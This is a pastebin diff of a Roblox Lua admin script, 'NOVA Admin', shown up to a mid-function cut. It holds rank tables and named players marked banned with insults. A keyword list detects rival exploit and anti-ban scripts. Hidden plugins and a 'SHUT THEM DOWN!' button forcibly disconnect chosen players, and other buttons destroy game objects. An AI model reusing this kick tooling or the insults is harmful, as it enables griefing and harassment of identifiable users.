SHOW:
|
|
- or go back to the newest paste.
1 | - | --[[Replace harrypotterfan249 with your name!]] |
1 | + | |
2 | wait() | |
3 | script.Parent = Instance.new("Glue") -- Stuck! | |
4 | NOVA ={ | |
5 | ShutdownPhrase = "Lol " .. math.random(1,50) .. "XD Shutdown nub low life"; | |
6 | BadPhrases = true; | |
7 | Ab = false; | |
8 | AntiCamball = true; | |
9 | Bet = "/"; | |
10 | Services = { | |
11 | Game = game; | |
12 | RunService = game:GetService("RunService"); | |
13 | Workspace = game:GetService("Workspace"); | |
14 | Lighting = game:GetService("Lighting"); | |
15 | Debris = game:GetService("Debris"); | |
16 | Players = game:GetService("Players"); | |
17 | Teams = game:GetService("Teams"); | |
18 | SoundService = game:GetService("SoundService"); | |
19 | ScriptContext = game:GetService("ScriptContext"); | |
20 | NetworkServer = game:GetService("NetworkServer"); | |
21 | StarterGui = game:GetService("StarterGui"); | |
22 | StarterPack = game:GetService("StarterPack"); | |
23 | }; | |
24 | Ranks = { | |
25 | {-2,"Lagged"}; -- -2 | |
26 | {-1,"Banned"}; -- -1 | |
27 | {-0.5,"Scum"}; | |
28 | {0,"Guest"}; -- 0 | |
29 | {1,"Mod"}; -- 1 | |
30 | {2,"Admin"}; -- 2 | |
31 | {3,"Developer"}; -- 3 | |
32 | {4,"Omega Admin"}; -- 4 | |
33 | {5,"Overlord"}; -- 5 | |
34 | {6,"OP ( Operator )"}; -- 6 | |
35 | {7,"Creator"}; -- 7 | |
36 | {9999999999999999999999999999999999,"The Epic harrypotterfan249"}; -- 8 | |
37 | }; | |
38 | Alphabet = { | |
39 | "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", | |
40 | }; | |
41 | Ranked = { | |
42 | {Name = "harrypotterfan249", Rank = 9999999999999999999999999999999999, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"}; | |
43 | {Name = "killerorb132", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire"}; | |
44 | {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me"}; | |
45 | {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me"}; | |
46 | {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Leaked NOVA Admin"}; | |
47 | {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser"}; | |
48 | {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE"}; | |
49 | {Name = "GAM3B3AST", Rank = 7, CMD = true, Color = Color3.new(0,1,1), Desc = "Epic guy"}; | |
50 | ||
51 | }; | |
52 | Credit = { | |
53 | {Name = "NetworkClient",Why = "for the tablet function."}; | |
54 | {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."}; | |
55 | {Name = "upquark",Why = "For being a great person in life."}; | |
56 | {Name = "toshir0z",Why = "For teaching me time control."}; | |
57 | {Name = "ask4kingbily",Why = "For showing me how to lock first person."}; | |
58 | {Name = "tusKOr661",Why = "For editing this script."}; | |
59 | }; | |
60 | Animations = { | |
61 | {Name = "Facepalm", Who = "tusKOr661", Id = "372695cdb6a7540768234ad60ed7a298"}; | |
62 | }; | |
63 | Colors = { | |
64 | Red = Color3.new(1,0,0); | |
65 | PinkRed = Color3.new(1,0,0.15); | |
66 | Orange = Color3.new(1,0.5,0); | |
67 | Yellow = Color3.new(1,1,0); | |
68 | Green = Color3.new(0,1,0); | |
69 | Blue = Color3.new(0,0,1); | |
70 | LightBlue = Color3.new(0,1,1); | |
71 | Pink = Color3.new(1,0,1); | |
72 | Magenta = Color3.new(0.54,0,0.54); | |
73 | White = Color3.new(1,1,1); | |
74 | Grey = Color3.new(0.5,0.5,0.5); | |
75 | Black = Color3.new(0,0,0); | |
76 | }; | |
77 | Sounds = { | |
78 | Sound = Instance.new("Sound"); | |
79 | Numbers = { -- one to five ( top to bottom ) | |
80 | "http://www.roblox.com/Asset/?id=29445305", | |
81 | "http://www.roblox.com/Asset/?id=29445339", | |
82 | "http://www.roblox.com/Asset/?id=29445358", | |
83 | "http://www.roblox.com/Asset/?id=29445378", | |
84 | "http://www.roblox.com/Asset/?id=29445395", | |
85 | }; | |
86 | PlayAfter = { | |
87 | "http://www.roblox.com/Asset/?id=2767090", | |
88 | "http://www.roblox.com/Asset/?id=2800815", | |
89 | "http://www.roblox.com/Asset/?id=2801263", | |
90 | "http://www.roblox.com/Asset/?id=11984254", | |
91 | "http://www.roblox.com/Asset/?id=2101159", | |
92 | "http://www.roblox.com/Asset/?id=3087031", | |
93 | "http://www.roblox.com/Asset/?id=2101148", | |
94 | "http://www.roblox.com/Asset/?id=2233908", | |
95 | "http://www.roblox.com/Asset/?id=16976189", | |
96 | "http://www.roblox.com/Asset/?id=2101157", | |
97 | "http://www.roblox.com/Asset/?id=2974000", | |
98 | "http://www.roblox.com/Asset/?id=2703110", | |
99 | "http://www.roblox.com/Asset/?id=1994345", | |
100 | }; | |
101 | }; | |
102 | AncientRules = { | |
103 | "Thou shall not use forum scripts.", | |
104 | "Thou shall not use CamBall / CamSphere.", | |
105 | "Thou shall not use CBA.", | |
106 | "Thou shall not use RMDX's scripts.", | |
107 | "Thou shall not use antibans.", | |
108 | "Thou shall not abuse thou admin.", | |
109 | "Thou shall not steal scripts.", | |
110 | "Thou shall not trade scripts you didn't make.", | |
111 | "Thou shall not use gay scripts.", | |
112 | "Thou shall not abuse loopholes in the ancient rules.", | |
113 | }; | |
114 | ChatFilters = { | |
115 | "mediafire", | |
116 | "shit", | |
117 | "gtfo", | |
118 | "password", | |
119 | "hitler", | |
120 | "vaginas", | |
121 | }; | |
122 | ||
123 | KillingPhrases = { | |
124 | "ssj", | |
125 | "yolo", | |
126 | "swag", | |
127 | }; | |
128 | KickingPhrases = { | |
129 | "\"/down\"", | |
130 | "/down","fweld(","ManualJointSurfaceInstance", | |
131 | "/hide", | |
132 | "rpe/", | |
133 | "antiban", | |
134 | "ab/", | |
135 | "camball.", | |
136 | "camball.came", | |
137 | "camball/", | |
138 | "camball /","deadfield","1waffle1", | |
139 | "cie camball", | |
140 | "d33k/", | |
141 | "pban/", | |
142 | "your own camball", | |
143 | "created by jordan88282", | |
144 | "v2 camball", | |
145 | "cba = {}", | |
146 | "cba.bet","tusKOr661:Remove()","tusKOr661:Destroy()","tusKOr661.Parent =", | |
147 | "banmenu","adminlist", | |
148 | "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/tuskor661", | |
149 | "cryston", | |
150 | "jordan88282", "eyeball","orb","kick/","owner","antikick", | |
151 | }; | |
152 | PreviousDataKeys = { | |
153 | "Unlimited Gravity&accesskey=lol4&_version="..tostring(_VERSION), | |
154 | }; | |
155 | LoadTime = { | |
156 | Start = tick(), | |
157 | Finish = tick(), | |
158 | }; | |
159 | Fences = {}; | |
160 | Jails = {}; | |
161 | Objects = {}; | |
162 | Commands = {}; | |
163 | Tablets = {}; | |
164 | Targeted = {}; | |
165 | ExternalPlayersList = {}; | |
166 | Waypoints = {}; | |
167 | Log = {}; | |
168 | LoggedScripts = {}; | |
169 | PRI = false; | |
170 | LockedScripts = false; | |
171 | Removed = true; | |
172 | ShowChat = true; | |
173 | Canceled = false; | |
174 | Overrided = false; | |
175 | TimeChanged = false; | |
176 | TabletPositionRelative = false; | |
177 | AntiDLL = false; | |
178 | EnableGuests = true; | |
179 | UseGlobals = false; | |
180 | Overrider = nil; | |
181 | TabletRotation = 0; | |
182 | TabletRotationIncrease = 0.03; | |
183 | AccessKey = "NewData13"; | |
184 | Version = "6th Generation"; | |
185 | DataKey = "Unlimited Gravity"; | |
186 | PRIType = "Kick"; | |
187 | LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal | |
188 | Script = script:FindFirstChild("PseudoScript"); -- or NewScript | |
189 | Plugins = script:GetChildren() | |
190 | } | |
191 | --[[ PLAYER PLUGINS ]]-- | |
192 | function UpdatePlayerPlugins() | |
193 | if NOVA.AntiDLL == true then PlayerPlugins = [==[ | |
194 | script.Parent = nil | |
195 | LocalPlayer = game:GetService("Players").LocalPlayer | |
196 | game:GetService("Selection").SelectionChanged:connect(function() | |
197 | if LocalPlayer.Name ~= "tusKOr661" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then | |
198 | LocalPlayer.Parent = nil | |
199 | LocalPlayer.Parent = game:GetService("Players") | |
200 | end | |
201 | end) | |
202 | coroutine.resume(coroutine.create(function() | |
203 | while wait() do | |
204 | if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then | |
205 | workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove() | |
206 | LocalPlayer.Parent = nil | |
207 | LocalPlayer.Parent = game:GetService("Players") | |
208 | end | |
209 | end | |
210 | end)) | |
211 | ]==] | |
212 | else | |
213 | PlayerPlugins = [==[ | |
214 | script.Parent = nil | |
215 | LocalPlayer = game:GetService("Players").LocalPlayer | |
216 | coroutine.resume(coroutine.create(function() | |
217 | while wait() do | |
218 | if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then | |
219 | workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove() | |
220 | LocalPlayer.Parent = nil | |
221 | LocalPlayer.Parent = game:GetService("Players") | |
222 | end | |
223 | end | |
224 | end)) | |
225 | ]==] | |
226 | end | |
227 | end | |
228 | function Color() | |
229 | local Choice = math.random(1, 5) | |
230 | if Choice == 1 then | |
231 | return "Institutional white" | |
232 | elseif Choice == 2 then | |
233 | return "White" | |
234 | elseif Choice == 3 then | |
235 | return "Really red" | |
236 | elseif Choice == 4 then | |
237 | return "New Yeller" | |
238 | elseif Choice == 5 then | |
239 | return "Black" | |
240 | end | |
241 | end | |
242 | --[[ PSEUDO FUNCTIONS ]]-- | |
243 | function CreateLocalScript(Source, Parent) | |
244 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then | |
245 | newLocalScript(Source, Parent) | |
246 | elseif game.PlaceId == 23232804 then | |
247 | NewLocalScript(Source, Parent) | |
248 | elseif NOVA.LocalScript ~= nil then | |
249 | NS = NOVA.LocalScript:Clone() | |
250 | NS.Name = "LocalScript" | |
251 | pcall(function() NS:ClearAllChildren() end) | |
252 | NewSource = Instance.new("StringValue",NS) | |
253 | NewSource.Name = "Source" | |
254 | if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then | |
255 | NewSource.Name = "DSource" | |
256 | end | |
257 | NewSource.Value = Source | |
258 | NS.Parent = Parent | |
259 | NS.Disabled = false | |
260 | else | |
261 | print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")") | |
262 | end | |
263 | end | |
264 | ||
265 | function CreateScript(Source, Parent) | |
266 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then | |
267 | newScript(Source, Parent) | |
268 | elseif game.PlaceId == 23232804 then | |
269 | NewScript(Source, Parent) | |
270 | elseif NOVA.Script ~= nil then | |
271 | NS = NOVA.Script:Clone() | |
272 | NS.Name = "Script" | |
273 | pcall(function() NS:ClearAllChildren() end) | |
274 | NewSource = Instance.new("StringValue",NS) | |
275 | NewSource.Name = "Source" | |
276 | NewSource.Value = Source | |
277 | NS.Parent = Parent | |
278 | NS.Disabled = false | |
279 | else | |
280 | print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")") | |
281 | end | |
282 | end | |
283 | ||
284 | function IsTargeted(Player) | |
285 | if type(Player) == "string" then | |
286 | for _,v in pairs(NOVA.Targeted) do | |
287 | if v.Name == Player then | |
288 | return true | |
289 | end | |
290 | end | |
291 | elseif type(Player) == "userdata" then | |
292 | for _,v in pairs(NOVA.Targeted) do | |
293 | if Player == v then | |
294 | return true | |
295 | end | |
296 | end | |
297 | else | |
298 | print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")") | |
299 | end | |
300 | return false | |
301 | end | |
302 | ||
303 | --[[ DATA PERSISTANCE ]]-- | |
304 | --[[ SYNC RANKS IN ]]-- | |
305 | function SyncRanksIn() | |
306 | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do | |
307 | SyncRankInSingular(v) | |
308 | end | |
309 | end | |
310 | --[[ SYNC RANK IN SINGULAR ]]-- | |
311 | function SyncRankInSingular(v) | |
312 | if type(v) ~= "userdata" then | |
313 | print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.") | |
314 | return | |
315 | end | |
316 | coroutine.resume(coroutine.create(function() | |
317 | repeat wait() until v.DataReady == true | |
318 | if GetRankedTable(v) == nil then | |
319 | table.insert(NOVA.Ranked,{ | |
320 | Name = v.Name, | |
321 | CMD = false, | |
322 | Rank = 0, | |
323 | Color = NOVA.Colors.Orange, | |
324 | Desc = "N/A", | |
325 | Complaints = Instance.new("Model"), | |
326 | Executeables = Instance.new("Model"), | |
327 | Mesh = false | |
328 | }) | |
329 | end | |
330 | local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version) | |
331 | local Data = GetRankedTable(v) | |
332 | if PhysicalData == nil then | |
333 | Data.Name = v.Name | |
334 | Data.CMD = false | |
335 | Data.Rank = 0 | |
336 | Data.Color = NOVA.Colors.Orange | |
337 | Data.Desc = "N/A" | |
338 | Data.Complaints = Instance.new("Model") | |
339 | Data.Executeables = Instance.new("Model") | |
340 | elseif PhysicalData ~= nil then | |
341 | pcall(function() Data.Name = v.Name end) | |
342 | pcall(function() Data.CMD = PhysicalData.CMD.Value end) | |
343 | pcall(function() Data.Rank = PhysicalData.RANK.Value end) | |
344 | pcall(function() Data.Color = PhysicalData.COLOR.Value end) | |
345 | pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end) | |
346 | pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end) | |
347 | pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end) | |
348 | if Data.CMD == nil then Data.CMD = false end | |
349 | if Data.Rank == nil then Data.Rank = 0 end | |
350 | if Data.Color == nil then Data.Color = NOVA.Colors.Orange end | |
351 | if Data.Desc == nil then Data.Desc = "N/A" end | |
352 | if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end | |
353 | if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end | |
354 | end | |
355 | end)) | |
356 | end | |
357 | ||
358 | --[[ SYNC RANKS OUT ]]-- | |
359 | function SyncRanksOut() | |
360 | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do | |
361 | SyncRankOutSingular(v) | |
362 | end | |
363 | end | |
364 | ||
365 | --[[ SYNC RANK OUT SINGULAR ]]-- | |
366 | function SyncRankOutSingular(v) | |
367 | coroutine.resume(coroutine.create(function() | |
368 | repeat wait() until v.DataReady == true | |
369 | local RankData = GetRankedTable(v) | |
370 | if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end | |
371 | local Data = Instance.new("Model") | |
372 | Data.Name = "PlayerData" | |
373 | local CMD = Instance.new("BoolValue",Data) | |
374 | CMD.Name = "CMD" | |
375 | CMD.Value = RankData.CMD | |
376 | local Rank = Instance.new("NumberValue",Data) | |
377 | Rank.Name = "RANK" | |
378 | Rank.Value = RankData.Rank | |
379 | local Color = Instance.new("Color3Value",Data) | |
380 | Color.Name = "COLOR" | |
381 | Color.Value = RankData.Color | |
382 | local Desc = Instance.new("StringValue",Data) | |
383 | Desc.Name = "DESCRIPTION" | |
384 | Desc.Value = RankData.Desc | |
385 | local Complaints = RankData.Complaints:Clone() | |
386 | Complaints.Name = "COMPLAINTS" | |
387 | local Executeables = RankData.Executeables:Clone() | |
388 | Executeables.Name = "EXECUTEABLES" | |
389 | v:SaveInstance(NOVA.DataKey.."&accesskey=".. NOVA.AccessKey .. "&_version="..NOVA.Version,Data) | |
390 | for _,v in pairs(NOVA.PreviousDataKeys) do | |
391 | v:SaveInstance(v,Data) | |
392 | end | |
393 | end)) | |
394 | end | |
395 | ||
396 | --[[ PLAYER INTERFACE ]]-- | |
397 | function PlayerInterface(v,Speaker) | |
398 | RemoveTablets(Speaker) | |
399 | local Data = GetRankedTable(v) | |
400 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker) | |
401 | Output("Rank Name : "..GetRankName(v),Data.Color,Speaker) | |
402 | Output("Rank Number : "..Data.Rank,Data.Color,Speaker) | |
403 | Output("Account Age : "..v.AccountAge,Data.Color,Speaker) | |
404 | Output("User Id : "..v.userId,Data.Color,Speaker) | |
405 | Output("Desc : "..Data.Desc,Data.Color,Speaker) | |
406 | Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker) | |
407 | Output("Color : "..tostring(Data.Color),Data.Color,Speaker) | |
408 | if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then | |
409 | Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil, | |
410 | function() | |
411 | Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey | |
412 | end | |
413 | ) | |
414 | end | |
415 | if GetRank(Speaker) > Data.Rank or v == Speaker then | |
416 | Output("Set CMD",NOVA.Colors.Blue,Speaker,nil, | |
417 | function() | |
418 | RemoveTablets(Speaker) | |
419 | Output("True",NOVA.Colors.Green,Speaker,nil, | |
420 | function() | |
421 | Data.CMD = true | |
422 | SyncRankOutSingular(v) | |
423 | PlayerInterface(v,Speaker) | |
424 | end | |
425 | ) | |
426 | Output("False",NOVA.Colors.Red,Speaker,nil, | |
427 | function() | |
428 | Data.CMD = false | |
429 | SyncRankOutSingular(v) | |
430 | PlayerInterface(v,Speaker) | |
431 | end | |
432 | ) | |
433 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
434 | function() | |
435 | PlayerInterface(v,Speaker) | |
436 | end | |
437 | ) | |
438 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
439 | end | |
440 | ) | |
441 | end | |
442 | ||
443 | if GetRank(Speaker) > Data.Rank then | |
444 | Output("Set Rank",NOVA.Colors.Blue,Speaker,nil, | |
445 | function() | |
446 | RemoveTablets(Speaker) | |
447 | for i,v in pairs(NOVA.Ranks) do | |
448 | if v[1] ~= 8 then | |
449 | Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil, | |
450 | function() | |
451 | RemoveTablets(Speaker) | |
452 | Data.Rank = v[1] | |
453 | SyncRankOutSingular(v) | |
454 | PlayerInterface(v,Speaker) | |
455 | end | |
456 | ) | |
457 | end | |
458 | end | |
459 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
460 | Output("Back",NOVA.Colors.Blue,Speaker,nil, | |
461 | function() | |
462 | PlayerInterface(v,Speaker) | |
463 | end | |
464 | ) | |
465 | end | |
466 | ) | |
467 | end | |
468 | if GetRank(Speaker) > Data.Rank or v == Speaker then | |
469 | Output("Set Color",NOVA.Colors.Blue,Speaker,nil, | |
470 | function() | |
471 | RemoveTablets(Speaker) | |
472 | for i,Color in pairs(NOVA.Colors) do | |
473 | Output(tostring(i),Color,Speaker,nil, | |
474 | function() | |
475 | Data.Color = Color | |
476 | PlayerInterface(v,Speaker) | |
477 | SyncRankOutSingular(v) | |
478 | end | |
479 | ) | |
480 | end | |
481 | Output("Back",NOVA.Colors.Blue,Speaker,nil, | |
482 | function() | |
483 | PlayerInterface(v,Speaker) | |
484 | end | |
485 | ) | |
486 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
487 | end | |
488 | ) | |
489 | end | |
490 | Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil, | |
491 | function() | |
492 | RemoveTablets(Speaker) | |
493 | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) | |
494 | end | |
495 | ) | |
496 | Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil, | |
497 | function() | |
498 | RemoveTablets(Speaker) | |
499 | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker) | |
500 | end | |
501 | ) | |
502 | Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil, | |
503 | function() | |
504 | RemoveTablets(Speaker) | |
505 | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker) | |
506 | end | |
507 | ) | |
508 | Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil, | |
509 | function() | |
510 | RemoveTablets(Speaker) | |
511 | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker) | |
512 | end | |
513 | ) | |
514 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
515 | end | |
516 | ||
517 | --[[ MAKE HINT ]]-- | |
518 | ||
519 | function makeHint(Text,Parent) | |
520 | coroutine.resume(coroutine.create(function() | |
521 | local M = Instance.new("Hint",Parent) | |
522 | for i = 1, string.len(Text) do | |
523 | M.Text = M.Text .. string.sub(Text, i, i) | |
524 | wait(math.random() * 0.1) | |
525 | end | |
526 | M.Text = M.Text .. "" | |
527 | for i = 1, math.random(2, 6) do | |
528 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_" | |
529 | wait(0.4) | |
530 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. " " | |
531 | wait(0.4) | |
532 | end | |
533 | M.Text = string.sub(M.Text, 1, string.len(Text)) | |
534 | for i = 1, string.len(M.Text) do | |
535 | M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1) | |
536 | wait() | |
537 | end | |
538 | M:Remove() | |
539 | end)) | |
540 | end | |
541 | function makeMessage(Text,Parent) | |
542 | coroutine.resume(coroutine.create(function() | |
543 | local M = Instance.new("Message",Parent) | |
544 | for i = 1, string.len(Text) do | |
545 | M.Text = M.Text .. string.sub(Text, i, i) | |
546 | wait(math.random() * 0.1) | |
547 | end | |
548 | M.Text = M.Text .. "" | |
549 | for i = 1, math.random(2, 6) do | |
550 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_" | |
551 | wait(0.4) | |
552 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. " " | |
553 | wait(0.4) | |
554 | end | |
555 | M.Text = string.sub(M.Text, 1, string.len(Text)) | |
556 | for i = 1, string.len(M.Text) do | |
557 | M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1) | |
558 | wait() | |
559 | end | |
560 | M:Remove() | |
561 | end)) | |
562 | end | |
563 | ||
564 | --[[ EXPLORE ]]-- | |
565 | function Explore(Thing,Speaker) | |
566 | if Speaker == nil then | |
567 | print("[NOVA.Explore] Argument 1 missing or nil.") | |
568 | return | |
569 | end | |
570 | pcall(function() | |
571 | if Thing == game or Thing == nil then | |
572 | RemoveTablets(Speaker) | |
573 | for _,v in pairs(NOVA.Services) do | |
574 | Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end) | |
575 | end | |
576 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
577 | else | |
578 | if #Thing:children() == 0 then | |
579 | RemoveTablets(Speaker) | |
580 | Explore(Thing.Parent.Parent,Speaker) | |
581 | else | |
582 | RemoveTablets(Speaker) | |
583 | for _,v in pairs(Thing:children()) do | |
584 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
585 | function() | |
586 | RemoveTablets(Speaker) | |
587 | Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker) | |
588 | Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker) | |
589 | Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker) | |
590 | Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end ) | |
591 | Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end ) | |
592 | Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end ) | |
593 | Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end ) | |
594 | Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end) | |
595 | Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end) | |
596 | Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end) | |
597 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
598 | end | |
599 | ) | |
600 | end | |
601 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
602 | end | |
603 | end | |
604 | end) | |
605 | end | |
606 | ||
607 | --[[ CAPE ]]-- | |
608 | function Cape(v) | |
609 | local Mode = "None" | |
610 | local AngleX = 0 | |
611 | pcall(function() | |
612 | v.Character.Swordpack:remove() | |
613 | end) | |
614 | pcall(function() | |
615 | v.Character["NOVA Cape"]:remove() | |
616 | end) | |
617 | ||
618 | local Main = Instance.new("Model",v.Character) | |
619 | Main.Name = "NOVA Cape" | |
620 | ||
621 | pcall(function() | |
622 | v.Character.Swordpack:Remove() | |
623 | end) | |
624 | ||
625 | local Cape = Instance.new("Part", Main) | |
626 | Cape.Name = "Cape" | |
627 | Cape.Anchored = false | |
628 | Cape.Locked = true | |
629 | Cape.CanCollide = false | |
630 | Cape.formFactor = "Custom" | |
631 | Cape.Size = Vector3.new(2, 3.5, 0.2) | |
632 | Cape.BrickColor = BrickColor.new("Really black") | |
633 | Cape.TopSurface = 0 | |
634 | Cape.BottomSurface = 0 | |
635 | local Decal = Instance.new("Decal", Cape) | |
636 | Decal.Face = "Back" | |
637 | Decal.Texture = "" | |
638 | local CapeWeld = Instance.new("Weld", Cape) | |
639 | CapeWeld.Part0 = v.Character.Torso | |
640 | CapeWeld.Part1 = Cape | |
641 | CapeWeld.C0 = CFrame.new(0, 1, 0.5) | |
642 | CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) | |
643 | v.Character.Humanoid.Running:connect(function(Speed) | |
644 | if Speed > 0 then | |
645 | Mode = "Running" | |
646 | else | |
647 | Mode = "None" | |
648 | end | |
649 | end) | |
650 | v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end) | |
651 | coroutine.wrap(function() | |
652 | while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do | |
653 | local UpSpeed = 2.5 | |
654 | local DownSpeed = 5 | |
655 | local TargetAngle = 5 | |
656 | if Mode == "Running" then | |
657 | TargetAngle = 45 + math.random(0, 2500) / 100 | |
658 | elseif Mode == "Jumping" then | |
659 | UpSpeed = 10 | |
660 | DownSpeed = 10 | |
661 | TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45) | |
662 | end | |
663 | if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end | |
664 | if AngleX < TargetAngle then | |
665 | AngleX = AngleX + UpSpeed | |
666 | elseif AngleX > TargetAngle then | |
667 | AngleX = AngleX - DownSpeed | |
668 | end | |
669 | CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0) | |
670 | wait() | |
671 | end | |
672 | end)() | |
673 | ||
674 | local LShoulder = Instance.new("Part",Main) | |
675 | LShoulder.Name = "Left Shoulder" | |
676 | LShoulder.TopSurface = "Smooth" | |
677 | LShoulder.BottomSurface = "Smooth" | |
678 | LShoulder.FormFactor = "Custom" | |
679 | LShoulder.Size = Vector3.new(1,0.2,1) | |
680 | LShoulder.BrickColor = BrickColor.new("Really black") | |
681 | LShoulder.Anchored = false | |
682 | LShoulder.Locked = true | |
683 | LShoulder.CanCollide = false | |
684 | LShoulder.Transparency = 0 | |
685 | LShoulder.Reflectance = 0 | |
686 | local Weld = Instance.new("Motor6D",LShoulder) | |
687 | Weld.Part0 = LShoulder | |
688 | Weld.Part1 = v.Character["Left Arm"] | |
689 | Weld.C0 = CFrame.new(0,-1,0) | |
690 | ||
691 | local RShoulder = Instance.new("Part",Main) | |
692 | RShoulder.Name = "Right Shoulder" | |
693 | RShoulder.TopSurface = "Smooth" | |
694 | RShoulder.BottomSurface = "Smooth" | |
695 | RShoulder.FormFactor = "Custom" | |
696 | RShoulder.Size = Vector3.new(1,0.2,1) | |
697 | RShoulder.BrickColor = BrickColor.new("Really black") | |
698 | RShoulder.Anchored = false | |
699 | RShoulder.Locked = true | |
700 | RShoulder.CanCollide = false | |
701 | RShoulder.Transparency = 0 | |
702 | RShoulder.Reflectance = 0 | |
703 | local Weld = Instance.new("Motor6D",RShoulder) | |
704 | Weld.Part0 = RShoulder | |
705 | Weld.Part1 = v.Character["Right Arm"] | |
706 | Weld.C0 = CFrame.new(0,-1,0) | |
707 | ||
708 | local NeckFlat = Instance.new("Part",Main) | |
